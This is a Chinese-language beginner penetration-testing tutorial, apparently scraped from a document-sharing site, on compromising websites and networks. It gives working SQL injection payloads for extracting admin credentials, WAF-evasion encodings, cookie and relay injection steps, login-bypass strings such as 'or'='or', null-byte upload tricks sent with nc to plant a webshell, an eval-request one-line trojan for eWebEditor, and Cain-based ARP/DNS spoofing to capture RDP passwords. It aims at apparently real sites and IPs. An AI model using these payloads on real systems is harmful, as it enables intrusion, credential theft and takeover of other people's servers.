文档库 最新最全的文档下载
当前位置:文档库 › 渗透,初级入门必学

渗透,初级入门必学


--------------
一.如何拿后台?
1.注入
注入有get,post。这里只说get注入,工具的使用就不说了,重点是手工注入。怎么判断注入点?答:很简单,1.加入单引号 ’
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
2.数字型:and 1=1 ;and 1=2
字符型: ' and '1'=1;' and '1'=2看返回是否出错,就是看看能不能正常显示!
(这时有人就有疑惑了,神马是字符型?神马是数字型呢?比如https://www.wendangku.net/doc/8d2971671.html,/b.asp?id=abc就是字符型,
https://www.wendangku.net/doc/8d2971671.html,/b.asp?id=123就是数字型)
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,
如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
也就表明程序有注入漏洞即and 1=1正常 and 1=2出错则证明是注入点和刚才一样,我们先来看第二个字符型注入页面里的查询语句,
比如是这个select * from 表 where id='abc'(为什么加引号?看前面吧!)。原来的查询语句是这个样子的,
如果我们还按照数字型参数的那种测试漏洞的方法的话,语句就会变成这样:select * from 表 where id='abc and 1=1'和
select * from 表 where id='abc and 1=2' ,因为程序会自动查询引号里的内容,如果我们按前面这两个语句这样提交的话,
程序就会查询id值为abc and 1=1和abc and 1=2的记录,这样是查不到结果的.以下同理…
3.使用or 2>1 ; or 1>2来进行判断
结果:分别返回不同的页面,说明存在注入漏洞.
分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。
记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面,说明存在注入点。
4.使用xor 1=1; xor 1=2
结果:分别返回不同的页面,说明存在注入漏洞.
分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确页面,说明存在注入点。
5.使用-1;-0
分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在
URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,
则也表示存在注入漏洞.
6.搜索框判断是否有注入,有的网站有搜索框就用这种方法注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜
索%,如果正常返回,说明95%有洞了。
说明:加入如"&"、"["、"]"、"%"、"$"、"@"等特殊字符,都

可以实现,如果出现错误,说明有问题
操作:
搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和
2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了,关联字字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了。

接下来,我们就要判断数据库类型了,可以通过系统表.sysobjects和msysobjects
Sysobjects是SQL的内置系统表,在WEB下可以正常读取,msysobjects是Access的内置系统表,在WEB下无权读取。
那么就可以输入
and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0
这两句随便输入一句即可判断。
也可以提交
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
如果显示正常,说明是SA,问题又来了…神马是sa呢?SA是系统超管的缩写,有最高权限哦…
也可以通过他们之间的差异来判断比如精典的;--在注入点后加上:
;--
一个分号两个横线,如果页面返回正常的话,说明数据库是MSSQL,因为在MSSQL数据库里,;和--都是存在的,
";" 用来分离两个语句,而"--"就是注释符,在它后面的语句都不执行,而ACCESS数据库里没有。还有and user>0
例如:showdetail.asp?id=49 ;and user>0
如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数
据库的话返回的错误提示里一般会含有"SQLServer"关键字了如果是用JET方法连接的话就说明用的是ACCESS数据库,
如果是ODBC的话就说明数据库是 MSSQL,这也是他们的不同
猜表名
1.And (Select Count(*) from admin)>=0
如果页面正确,则admin表存在,反之则不存在
2.and exists (select * from admin)
如果页面正确,则admin表存在,反之则不存在
3. and 0<>(select count(*) from admin)
如果页面正确,则admin表存在,反之则不存在
4. and (select count(*) from admin)>2
判断该表内有几条记录,也就是判断有几个管理员(admin即为你想猜的表)
猜字段
1. And (Select Count(字段名) from Admin)>=0
如果页面正确,则admin表中的相应字段存在,反之则不存在
2.and exists (select 字段名 from admin)
如果页面正确,则admin表中的相应字段存在,反之则不存在
3. and 1=(select count(*) from admin where len(username)>0)
如果页面正确,则admin表中的相应字段存在,反之则不存在(admin即为你想猜的字段所处的表)
猜内容
可以分为两种情况,一种是支持联合查询,另外是不支持联合查询支持联合查询
A、判断该页面字段数,并得到显示位
有两种方法,一种是:
And 1=2 union select 1,2,3,4…
直到页面显示正确
需要注意的是,这种方法有时需要将这些数字换成null
另一种是用order by
Order by 10
显示正确则字段数大于10,反

之则不大于
B、爆出用户名和密码
And 1=2 union select 1,2,3,4,username,5,6,7 from admin
这样就直接爆出了用户名,然后再爆出密码即可。
需要注意的是,如果是PHP注入,则需要将上面的语句换成:
And 1=2+union+select+1,2,3,4,concat(username),5,6,7+from+admin
上面的语句也可以换成:
And 1=2/**/union/**/select/**/1,2,3,4,concat(username),5,6,7/**/from/**/admin/*
那么,我们这个方法是取的数据库中的第一列的数据来输出的,那么,如果这个网站有多个管理员,我们想得到第二个管理员的信息,
这时候该怎么办呢?
这个时候我们可以使用判断语句来查询不同的管理员的用户名和密码,在管理员表中一般都有个id字段,
我们可以用这个字段的值来查询不同的管理员信息,一般的都是 从1开始的,(当然,也存在不是从一开始的情况,
那个时候就需要我们慢慢猜一下了)
and+1=2+union+select+1,username,3,password,5,6,7,8,9,10+from+users+where+id=2
这样,第一列的管理员的id是1的话,我们让id等于2,这样就取出了第二个管理员的信息。
2、不支持联合查询
这样的话就只好一位一位的猜了
首先,测试字段内记录的长度
and (select top 1 len(username) from Admin)>0
拿出username中的第一条记录,判断长度是否大于0,大于,则显示正确,反之,不大于
也可以and 1=(select count(*) from admin where len(username)=5)
显示正常说明username的内容等于5,一般为admin,换掉5的值即可判断出该字段的长度。
取得长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,如
and (select top 1 asc(mid(username,1,1)) from Admin)>0
拿出username中的第一条记录中的第一个字符的ASC码,并判断其值是否大于0,改变0值即可判断出该字符的ASC码大小,
然后再转换得到真实字符。
英文和数字的ASCII码在1-128之间。
中文处理办法:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,
必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
关于突破防注入系统
1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。例如or1=1即%6f%72%20%31%3d%31,而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or'swords'='swords',
由于mssql的松散性,我们可以把or'swords'之间的空格去掉,并不影响运行。
3、运用字符串判断代替
用经典的or1=1判断绕过,如or'swords'='swords',这个方法就是网上在讨论的。
4、通过类

型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。
关于利用,如or'swords'=N'swords',大写的N告诉mssqlserver字符串作为nvarchar类型,它起到类型转换的作用,
并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过效果值得考证,但毕竟是一种方法。如or'swords'='sw'+'ords';EXEC('IN'+'SERTINTO
'+'.....')
6、通过LIKE绕过
以前怎么就没想到呢?如or'swords'LIKE'sw'!!!显然可以很轻松的绕过"="">"的限制......
7、通过IN绕过
与上面的LIKE的思路差不多,如or'swords'IN('swords')
8、通过BETWEEN绕过
如or'swords'BETWEEN'rw'AND'tw'
9、通过>或者<绕过
or'swords'>'sw'
or'swords'<'tw'
or1<3
......
10、运用注释语句绕过
用/**/代替空格,如:UNION/**/Select/**/user,pwd,fromtbluser
用/**/分割敏感词,如:U/**/NION/**/SE/**/LECT/**/user,pwdfromtbluser
手工注入结束

2.cookie注入
首先了解什么是cookie,(当然不是小饼干…)Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)
那么cookie注入的原理是什么呢?答:未对cookie提交的数据库进行过滤。对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取。这里我们就需要用到JAVA脚本了,但是我们为什么要用cookie注入呢?因为cookie注入可以突破大多数防注入程序,好了,废话少说,干活…请先看下面的另一个连接 https://www.wendangku.net/doc/8d2971671.html,/1.asp?id=123 如果我们只输 https://www.wendangku.net/doc/8d2971671.html,/1.asp 时,就不能看到正常的数据,因为没有参数!我们想知道有没有 C ookies 问题(也就是有没有 Request("XXX"),先用 IE 输入 https://www.wendangku.net/doc/8d2971671.html,/1.asp加载网页,显示不正常(没有输参数的原因)之后在 IE 输入框再输入 javascript:alert(document.cookie="id="+escape("123")); 按回车,你会看到弹出一个对话框 内容是: id=123 之后,你刷新一个网页,如果正常显示, 表示是用 Request("ID") 这样的格式收集数据~~~~,这种格式就可以试 Cookies 注入了在输入框中输入 javascript:alert(document.cookie="id="+escape("123 and 3=3")); 刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了) javascript:alert(document.cookie="id="+escape("123 and 3=4")); 刷新一下页面,如果不正常显示,这就表示有注入了~~~如果程序员是用 Request.QueryString 或Request.Form 收集数据的话,是没有 Cookies注入问题的,因为服务程序是直截从 GET 或 POST 中读取 数据的,Cookies 是否有数据,WEB 服务器是不理的,所以是不能利用 Cookie

s 注入的!这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:
1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)
2:"document.cookie"我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型
4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie
格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码
其实猜解和get注入查不多以下是我找的例子
目标站: https://www.wendangku.net/doc/8d2971671.html,/Products_show.asp?id=284
,同时也是注入点。我们首先要检测下按照平时的方式注入,在网址后面加 and 1=1可见是使用了防注入系统的,
但是目前我们是使用get方式提交的参数,那现在我们将“id=284”这个参数使用cookie提交看看程序对数据接收是否直接使用
request("xx")的方式?要更改成cookie方式提交,我们首先要访问正常的页面,即是:
https://www.wendangku.net/doc/8d2971671.html,/Products_show.asp?id=284 ,等页面完全打开之后,我们将IE地址栏清空,
然后写上:javascript:alert(document.cookie="id="+escape("284"));
这里的“id=”便是“Products_show.asp?id=284”中的“id=”,“escape("284")”中的“284”是“Products_show.asp?id=284”
中的“id=284”了,这两处要根据实际情况来定义。写完之后按下回车网页中会弹出以下对话框:
现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开以下地址:
https://www.wendangku.net/doc/8d2971671.html,/Products_show.asp? 既是将“id=284”去掉后的,然后看是否能正常访问。
可见访问之后的页面与访问 https://www.wendangku.net/doc/8d2971671.html,/Products_show.asp?id=284 的时候是一样的,
这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。

在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。
我们再回到刚才更改cookie的页面,然后在IE地址栏处填写javascript:alert(document.cookie="id="+escape("284 and 1=1"));
回车后再去 https://www.wendangku.net/doc/8d2971671.html,/Products_show.asp? 页面刷新,看页面是否正常,
如果正常我们再提交javascript:alert(document.cookie="id="+escape("284 and 1=2"));
然后再去刷新,这个时候就会看见出错了。很明显就能看到错误了,而且产品内容也米有显示,
到此便可以确定该页面能使用cookie注入了,接下来来的利用过程就和普通注入一样了。
我们可以使用union联合查询爆出管理员的账号和密码,但前提是需要知道管理员的表名和字段名,不过我们可以通过猜解。
首先来使用order by语句判断出当前执行数据库查询的表的字段数,我们提交:
javascript:alert(document.cookie="id="+escape("284 order by 1"));
然会正常,表示可以使用order by语句,如果错误的话可能是不能使用order by来猜解字段数了,
拿就需要直接union select 一个一个的试了。
然后提交:javascript:alert(document.cookie="id="+escape("284 order by 10"));
如果还返回正常就说明字段数在10以上,我们一次类推直到猜解出正确的字段数,比如这里我提交到了21的时候去刷新页面出现错误,
然后提交20的时候去刷新页面就正常了,就说明字段数是20.
接下来我们提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage")); 发现有错误,我们再提交javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));发现返回正常页面。看到熟悉的画面了吧,这就表示网站数据库存在admin这个表,因我们之前一次提交的是javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));,数据库中不存在mange这个表,自然就出错了,使用更换from 处可以来猜解表明,那么现在我们在6和17的地方试试username和password看看提交后是否出错,如果出错那么就表示不存在username或者password字段。我们提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));
可见,原来显示6和17的地方现在爆出了管理员的账号和密码了,不过这个密码破不出来,大家可以自己拿网站去练练。总的说来cookie注入和普通注入是一样的,只不过是在提交注入语句的过程不一样而已。如果对普通注入的原理又说了解的话,那么cookie注入也就不难了。COOKIE注入结束
3.中转注入
中转注入是突破防注入

系统的利器。原理,通过代理网页 将本来要发送到cookie的命令 发送到代理网页的QueryString中 代理网页接收后 发送到实际网页的cookie中。而中转注入的条件和cookie注入是一样的。寂寞的刺猬写的中转注入生成器是最常用的,大家可以到我工具包中找,在TNT社工辅助器里面有。
我们选中cookie注入,开始填写左面 的选项了。首先我们把要进行注入的链接 粘贴进“注入URL页”和“来源页”中。 然后把URL中的参数名称填入上面的“注入 键名”。 “post提交值”中将00改为URL中参数的值。 最后把URL中的“?”以及后面的参数部分 去掉。
然后点击“生成asp”就可以在程序的根目录 下生成一个用来中转的asp文件。 我们需要把这个asp文件上传到一个支持asp 的网络空间中去,别告诉我你不知道什么是空间。我们访问这个刚刚 上传上去的asp文件。
现在我们可以看到,我访问的这个地址虽然 是肉鸡网站的地址,但是我们看到的却是 刚才检测注入的页面。
大家现在可能已经发现了,这样没有参数的链接是 无法进行注入的。那么我们现在把刚才在中转生 成器中填写的“post提交值”一栏中的内容添加 到现在的URL的后面(不要忘了中间的“?”), 我们访问这个地址,发现了什么?是不是可以进行 注入了?我们现在打开啊D来进行注入检测,看 一下是否可以注入。我们用啊D直接猜就可以了 。中转注入结束
4.旁注
这个就不多说了,A站拿不掉,就去找同一服务器上好拿的B站…一般企业站最好拿
5.暴物理路径
暴库绝招,很是流行了一阵(随着知道的人多了,防备也加强了,没以前那么有效了)。这种方法,简单点说就是,打开网页时,
把网址址中的"/"换成"%5c",然后提交,就可以暴出数据库的路径。
实际上,并不是所有网址都有效,需要"asp?id="这样的网页地址(表示有调用数据库的行为),如果你确认这个网页有调用数据库的,
后面不是这样的也可以,比如chklogin.asp等也可以。(当然,也还有其它条件,后面再谈。)
先举个例子,
_blank>_blank> 219.237.81.46/yddown%5cview.asp?id=3
把第二个"/"换成"%5c"
_blank>_blank> 219.237.81.46/yddown%5cview.asp?id=3
提交后会得到如下结果:
Microsoft JET Database Engine 错误 '80004005'
'D:\111\admin\rds_dbd32rfd213fg.mdb'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/yddown/conn.asp,行12
现在很多人都知道这个方法了,我就不多举例了。但清楚暴库原理的人估计是不多的。有人成功,有人不成功,《再谈%5c暴库的利用》一文总结说,须变换第二个"/"为"%5c"才行。很有实用性,但这个结论只是一种经验

,其实并不正确。让我们先看看它的原理
"%5c"暴库法,它不是网页本身的漏洞,而是利用了IIS解码方式中的一个特性,如果IIS安全设置不周全,而网页设计者未考虑IIS错误,就会被人利用。
为何要用"%5c"?它实际上是"\"的十六进制代码,也就是"\"的另一种表示法。
7.万能密码(6今天感冒了,没来)
万能密码'or'='or',可以用在后台管理输入,有的网站由于没有过滤OR漏洞,输入OR直接就可以突破,一般漏洞存在于ASP类型的网站网站后台万能密码就是在用户名与密码处都写入下列字符,如果知道管理员帐号的话直接添帐号,效果会更好!
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未加过滤或过滤不严而导致的.
其实万能是没有的,默认是很多的,
admin
admin
admin
admin888
少数ASP网页后面登陆时可以用密码1'or'1'='1(用户名用admin等试)登陆成功。这一般也是SQL注入的第一课,原理涉及到SQL语句……验证登陆时,如果密码=输入的密码,那么登陆成功,把1' or '1'='1带入即“如果密码=1或者1=1那么登成功”由于1=1恒成立,且“密码=1”与“1=1”是逻辑或的关系,则整句为TRUE,即登陆成功。这样说懂不?
其实后台万能登陆密码这个称号真的不那么专业,或许叫做“后台验证绕过语句”还好些,不过前者叫得普遍些。
这个语句就是'xor
xor估计很多人都知道,或者听说过,不就是异或么,他和or以及and都是一样的,但是or进行的是或运算,and进行的是与运算,异或xor则是不等的则是真,即比较的两个值不相同的就对,相同的就错,我搜了一下网上,几乎没有过滤参数,可以用经典'or'='or'进去的,'xor都可以进去,大家可以尝试一下。
对网站万能密码'or'='or'的浅解
'or'='or'漏洞是一个比较老的漏洞了,主要是出现在后台登录上,利用这个漏洞,我们可以不用输入密码就直接进入系统的后台.它出现的原因是在编程时逻辑上考虑不周,同时对单引号没有进行过滤,从而导致了漏洞的出现
9.找上传(8被6传染了:-()
有的网站虽然没有注入点,但存在一个上传漏洞,那么我们如何来利用了,首先,打开上传地址看是否存在,如果有,试想传一个ASP大马是不行的,那么传一句话看看,先看能成功不,用明小子来上传,动网,动力,动感,乔客4种方式,页面地址格式要对应,如果一个网站地址弹出对话框,显示上传成功,那么证明可以拿到WEBSHELL。即后台过滤不严,常见上传有upload;upfile等
10.如何找后台?
可以用工具扫描,

如啊D的管理入口扫描,扫目录也行,当然还可以谷歌关键字搜索,有的首页上就有,实在找不到就蒙一般默认为admin,admin/admin.asp,admin/login.asp,.admin_login.asp,manage/login.asp,login.asp,logon,user.asp,admin/index.asp,当然,这只是默认,一些大网站不可能还用admin作为后台,有的隐藏很深
二.怎么拿webshell?
终于写到第二部分了,不容易啊,555555
1.数据库备份
十分经典了,把马改成图片格式传上去,然后用数据库备份功能把格式改回asp就可以了
2.抓包上传与动网
个人认为动网和抓包貌似是一会事就写到一起了,当发现后台不支持ASP时就应该想到这些动网啊,乔客啊,多试一试
进行上传ASP木马,选择好要上传的ASP木马,但不要点上传按钮,如
然后进行WSockExper抓包,如
回到IE中来上传文件,点“上传”按钮后,提示出错,说文件上传发生错误,文件格式不正确,这个是预料之中的(能直接上传成功才怪呢).回到抓包软件中来看看抓包结果吧,WSockExper把我刚才的提交过程全记录下来了
把第三行和第四行复制到文本文件中,注意回车也应复制进去。保存为2.txt
下面我们来修改这个文件. 我们改文件名,找到filename="D:\Documentsand Settings\Administrator\桌面\wenzhang\shadow.asp"这一句,把ASP文件的后缀名改成图片格式的, 然后在要上传的目录后面加上要保存的文件名,然后在文件名后面空一个空格
现在拿出UltraEdit-32,打开2.txt,找到/upload/shadow.asp这一字串,点编辑-->HEX功能-->HEX编辑:在OD前把与空格对应的十六进制代码20改为00,保存退出。我们要的数据就成了。
下面就是提交了。
打开CMD,进入有NC的目录,用NC以如下命令提交我们的数据 nc https://www.wendangku.net/doc/8d2971671.html,80 <2.txt
很快就返回提交成功的信息,告诉我们“软件上传成功 ”并且告诉我们软件的路径和文件名:“upload/shadow.asp”。
还等什么,我们到IE中去看看自己的成果吧,看我们的ASP文件到底传上去了没有?在IE中打开 https://www.wendangku.net/doc/8d2971671.html,/upload/shadow.asp ,看,多么熟悉的画面有了它,什么样的ASP后门不能上传呢? 漏洞的原因动网的漏洞多数人知道,所以现在不少网站已经修补了这个漏洞,但对于文件名,有些程序却没有考虑到。
其实,这个漏洞,在原理上同动网漏洞是一样的,都是利用电脑在读取字符串时,遇到“\0”(00)时,认为字符串结束了,从而丢掉后面的字串。这一电脑特性也不知算不算漏洞,正如UNICODE编码特性一样,可被人利用。尽管在这里网页过滤了路径,但仍从用户处接收文件名,我们同样可以在字串中构造“\0”,又在结尾处构造gif,因为扩展名是从右读取的,它认为

文件类型是gif,从而可以骗过扩展名验证可以上传,在保存时,文件名又是从左边读取的,当它遇到“\0”时,后面就都丢掉了,于是文件就被保存成我想要的shadow.asp了。我们学习入侵时应了解一个漏洞的实质,灵活变通,一样能达到目的
3.编辑器拿shell
这个不多说,具体情况具体分析eWebEditor for php任意文件上传漏洞
影响版本:ewebeditor php v3.8 or older version
脆弱描述:
此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置register_global为on的情况下我们可以任意添加自己喜欢的风格,并定义上传类型。
攻击利用:
phpupload.html
eWebEditor JSP版漏洞
大同小异,我在本文档不想多说了,因为没环境 测试,网上垃圾场那么大,不好排查。用JSP编辑器的我觉得eweb会比FCKeditor份额少得多。
给出个连接: https://www.wendangku.net/doc/8d2971671.html,/post/161.html
还有: https://www.wendangku.net/doc/8d2971671.html,/zhuru/article/all/2008-12-04/a09104236.shtml
eWebEditor 2.8 商业版插一句话木马
影响版本:=>2.8 商业版
攻击利用:
登陆后台,点击修改密码---新密码设置为 1":eval request("h")’
设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了.
eWebEditorNet upload.aspx 上传漏洞(WebEditorNet)
脆弱描述:
WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
攻击利用:
默认上传地址:/ewebeditornet/upload.aspx
可以直接上传一个cer的木马
如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click();
成功以后查看源代码找到uploadsave查看上传保存地址,默认传到uploadfile这个文件夹里。
southidceditor(一般使用v2.8.0版eWeb核心)
https://www.wendangku.net/doc/8d2971671.html,/admin/sou ... /southidceditor.mdb
https://www.wendangku.net/doc/8d2971671.html,/admin/sou thidceditor/admin/admin_login.asp
https://www.wendangku.net/doc/8d2971671.html,/admin/sou thidceditor/popup.asp
bigcneditor(eWeb 2.7.5 VIP核心)
其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问admin_login.asp,提示“权限不够”4字真言,估计就是因为其授权“Licensed”问题,或许只允许被授权的机器访问后台才对。
或许上面针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少动作?
--------------------------------------------------------------------------------
Cute Editor
Cute Editor在线编辑器本地包含漏洞
影响版本:
CuteEditor For Net 6.4
脆弱描述:
可以随意查看网站文件内容,危害较大。
攻击利用:
https://www.wendangku.net/doc/8d2971671.html,/CuteSoft_ ... ../../../web.config
----------------------------------------------
Webhtmleditor
利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本:<= Webhtmleditor最终版1.7 (已停止更新)
脆弱描述/攻击利用:
对上传的图片或其他文件无重命名操作,导致允许恶意用户上传

diy.asp;.jpg来绕过对后缀名审查的限制,对于此类因编辑器作者意识犯下的错误,就算遭遇缩略图,文件头检测,也可使用图片木马 插入一句话来突破。
---------------------------------------------------------------------
Kindeditor
利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本: <= kindeditor 3.2.1(09年8月份发布的最新版)
脆弱描述/攻击利用:
拿官方做个演示:进入upload/2010/3/201003102334381513.jpg 大家可以前去围观。
Note:参见附录C原理解析。
--------------------------------------------------------------------------------
Freetextbox
Freetextbox遍历目录漏洞
影响版本:未知
脆弱描述:
因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。
攻击利用:
在编辑器页面点图片会弹出一个框(抓包得到此地址)构造如下,可遍历目录。
三.其他
1.C段渗透
什么是C段
这里我告诉大家..比如在:127.127.127.4这个IP上面有一个网站 127.4这个服务器上面有网站我们可以想想..
他是一个非常大的站几乎没什么漏洞!但是在他同C段 127.127.127.1~127.127.127.255这 1~255
上面也有服务器而且也有网站并且存在漏洞,那么我们就可以来渗透 1~255任何一个站 之
后提权来嗅探得到127.4 这台服务器的密码甚至3389连接的密码后台登录的密码 如果运气好会得到很多的密码...
(这里大家又看见了提权这个两个字眼这下大家知道了提权的重要性了吧!)
C段没什么技术含量简单的配置一下Cain这款工具就OK了..现在版本是4.9功能是非常的强大但是 是在window下面用的..
如果是Linux Unix 系统大家可以百度一下!Unix下的嗅探、
在UNIX环境下如Sniffit,Snoop,Tcpdump,Dsniff 等都是比较常见的! 如果window2003提权不到 Unix 也别想了..
其实大家可以把C段想像成 远程键盘记录器...而且C段嗅探是防不胜防 很多大的站就是这么被和谐的..
大家都知道 很多大的 黑客 站被大牛们盯上,之后被渗透 其中很多是嗅探拿下的...
大家如果自己提权不好。可以搭建 虚拟机 来测试嗅探看看
Cain & Abel 是由 Oxid.it 开发的一个针对 Microsoft 操作系统的免费口令恢复工具. 使用的 L0phtcrack.它的功能十分强大,
可以网络嗅探,网络欺骗,破解加密口令,解码被打 乱的口令,显示口令框,显示缓存口令和分析路由协议,
甚至还可以监听内网中他人使用 VOIP 拨打电话.
Abel 是后台服务程序,一般不会用到,我们重点来介绍 Cain 的使用.
Cain 安装:首先我们需要安装 Winpcap 驱动,
一路 next 下去就可以安装成功了
然后我们就可以使用 Cain 了, Cain,界面十分简单明了,
但是它的功能可就不简单了. Cain 使用: 一,读取缓存密码:切换到"受保护的缓存

口令"标签,点上面的那个加号
缓存在 IE 里的密码全都显示出来了. 二,查看网络状况 切换到"网络" 标签, 可以清楚的看到当前网络的结构, 我还看到内网其他的机器的共享目录, 用户和服务,通过上图,我们清楚的看到 Smm-DB1 开启了 IPC$默认共享连接和其他盘隐藏共享. 三,ARP 欺骗与嗅探 ARP 欺骗的原理是操纵两台主机的 ARP 缓存表,以改变它们之间的正常通信方向,这种通信注入 的结果就是 ARP 欺骗攻击.ARP 欺骗和嗅探是 Cain 我们用的最多的功能了,切换到"嗅探"标 签
在这里可以清晰的看到内网中各个机器的 IP 和 MAC 地址. 我们首先要对 Cain 进行配置,先点最单击最上面的"配置"
在"嗅探器"中选择要嗅探的网卡,在"ARP(Arp Poison Routing)"中可以伪造 IP 地址和 MAC 地址进行欺骗,避免被网管发现.
在"过滤与端口"中可以设置过滤器,
可以根据自己的需要选择过滤的端口,如嗅探远程桌面密码的话,就钩选 RDP 3389 端口. 小提示:比如我要嗅探上面的 61.132.223.10机器,第二个网卡显示我的 ip 地址为 61.132.223.26,和目标机器是同一内网的,就使用第二个的网卡欺骗.
单击网卡的那个标志开始嗅探,旁边的放射性标志则是 ARP 欺骗.
嗅探了 N 久之后,点击下面的 "截获密码",嗅探所得到的密码会按分类呈现在大家面前,包 括 http,ftp,VNC,SMTP,ICQ等密码.如果目标主机使用 voip 电话的话,还可以获得他使用 voip 电话的录音下面我们来进行 Arp 欺骗,点击下面的"ARP"标签,
在右边的空白处单击,然后点上面的"加号",出现"新建 ARP 欺骗"对话框,在左边选网关, 右边选择被欺骗的 IP. 这里要注意的是,你的机器性能比网关差的话,会引起被欺骗机器变慢. 1.DNS 欺骗: 在"DNS 欺骗"中填入请求的 DNS 名称和响应包的 IP 地址,
如图,当目标地址访问 https://www.wendangku.net/doc/8d2971671.html,的时候就自动跳转到 https://www.wendangku.net/doc/8d2971671.html,的网站上面,其中 的"#resp. 欺骗"就是目标主机被欺骗的次数. 这样对于目标机器进行挂马也不失为一种绝妙的方法.点上面的放射性标志开始 Arp 欺骗, 小提示网关 IP 可以在命令行下输入 ipconfig 获得
网关 IP 为 61.132.223.42.远程桌面欺骗: Cain 能够实行中间人攻击(Man-In-The-Middle)远程计算机的终端服务协议(Remote Desktop Protocol RDP)进行截获和解密工作.也就是截获目标主机的 3389 登陆密码.
在"ARP-RDP"里已经得到了 3 个数据包.右击右边得到的数据包,选择"查看",
我的运气比较好,获得了目标主机登陆 3389 的用户和密码用户名为"administrator" 密码为"asdf1234". 小技巧:在肉鸡上对密码进行嗅探的时候,可以按 Alt +Delete 对界面进行隐藏,按 Alt + PageDown 隐藏都任务栏,按 Alt +Page up 呼出界面.这个技巧在内网渗透的时候非常有用! 四,密码的破解 Cain 还具有强大

的破解功能,可以破解 md5,md4,pwl,mssql 等加密的密文,我这里示范如何使 用 Cain 破解 md5 密文.
切换到"破解器"标签,在右边空白处单击,按上面的加号,输入我们要解密的 32 位密文,
右击要破解的密文,选择"暴力破解",选择口令长度和密码范围,我这儿选择的是 5 到 6 位纯 数字密码.
按"开始"进行破解
一会儿工夫,破解出的密码就出现在我们面前了,哈哈,密码是 123456.除了暴力破解以外, 你还可以使用通过字典破解和通过 rainbow 表进行破解.
使用十分简单,大家自己研究下就行了,
